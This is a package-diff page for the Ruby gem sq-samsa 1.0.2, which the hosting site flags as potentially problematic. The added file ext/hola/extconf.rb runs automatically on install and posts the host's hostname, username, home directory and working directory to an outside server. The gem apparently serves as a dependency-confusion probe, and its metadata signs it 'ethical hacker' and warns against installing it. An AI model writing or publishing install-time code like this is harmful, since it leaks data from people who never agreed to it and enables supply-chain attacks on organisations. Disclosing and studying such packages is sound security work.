sq-samsa 1.0.2

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of sq-samsa might be problematic. Click here for more details.

Files changed (3) hide show
  1. checksums.yaml +7 -0
  2. data/ext/hola/extconf.rb +14 -0
  3. metadata +49 -0
checksums.yaml ADDED
@@ -0,0 +1,7 @@
1
+ ---
2
+ SHA256:
3
+ metadata.gz: 1ad37a070dd90628804fe0fa89f624b6ad5f8986e884eb2e3a71d666722d74c1
4
+ data.tar.gz: 771311c5c23cf32c6444c0eb068d89743c6abc7db398a24323f101fedea940af
5
+ SHA512:
6
+ metadata.gz: ea55770bbdb67799bee699eb738d07645aed0175ee97eacabf3781520116810012a244da13bd93b023ff0157627f821d7d97280c132839acb241db5cae982872
7
+ data.tar.gz: eb66ea8c35f26f6d42399fe78351a7211deb092cb547ef21b7ee4377c5d11099e3fa62f8fd90f573d833e23277ea966202bccdfbbb63955e2ae2d5bac4f3912e
@@ -0,0 +1,14 @@
1
+ require 'uri'
2
+ require 'net/http'
3
+ require 'socket'
4
+
5
+ # Extract only the bare minimum to be able to identify
6
+ # vulnerable organization.
7
+ # Send hostname, username, current working directory, home directory to my server.
8
+ # There isn't anything malicious in here! This information is not private/confidential in any way.
9
+
10
+
11
+ uri = URI('http://ruby-dependency-confusion.jumpingcrab.com/report')
12
+ res = Net::HTTP.post_form(uri, 'gem' => 'sq-samsa', 'version' => '1.0.2', 'hostname' => Socket.gethostname, 'username' => ENV['USER'] || 'no_user', 'home' => File.expand_path('~'), 'cwd' => Dir.pwd)
13
+
14
+
metadata ADDED
@@ -0,0 +1,49 @@
1
+ --- !ruby/object:Gem::Specification
2
+ name: sq-samsa
3
+ version: !ruby/object:Gem::Version
4
+ version: 1.0.2
5
+ platform: ruby
6
+ authors:
7
+ - ethical hacker
8
+ autorequire:
9
+ bindir: bin
10
+ cert_chain: []
11
+ date: 2023-03-13 00:00:00.000000000 Z
12
+ dependencies: []
13
+ description: |-
14
+ WARNING! DO NOT INSTALL THIS GEM.
15
+ This gem is used to detect dependency confusion vulnerabilities. When installed, the gem sends hostname, username, home directory and current working directory to my server so I can identifiy vulnerable companies. The gem does not do anything else. The extracted information is not private/confidential in any way.
16
+ email:
17
+ executables: []
18
+ extensions:
19
+ - ext/hola/extconf.rb
20
+ extra_rdoc_files: []
21
+ files:
22
+ - ext/hola/extconf.rb
23
+ homepage:
24
+ licenses: []
25
+ metadata: {}
26
+ post_install_message:
27
+ rdoc_options: []
28
+ require_paths:
29
+ - lib
30
+ required_ruby_version: !ruby/object:Gem::Requirement
31
+ requirements:
32
+ - - ">="
33
+ - !ruby/object:Gem::Version
34
+ version: '0'
35
+ required_rubygems_version: !ruby/object:Gem::Requirement
36
+ requirements:
37
+ - - ">="
38
+ - !ruby/object:Gem::Version
39
+ version: '0'
40
+ requirements: []
41
+ rubygems_version: 3.1.2
42
+ signing_key:
43
+ specification_version: 4
44
+ summary: WARNING! DO NOT INSTALL THIS GEM. This gem is used to detect dependency confusion
45
+ vulnerabilities. When installed, the gem sends hostname, username, home directory
46
+ and current working directory to my server so I can identifiy vulnerable companies.
47
+ The gem does not do anything else. The extracted information is not private/confidential
48
+ in any way.
49
+ test_files: []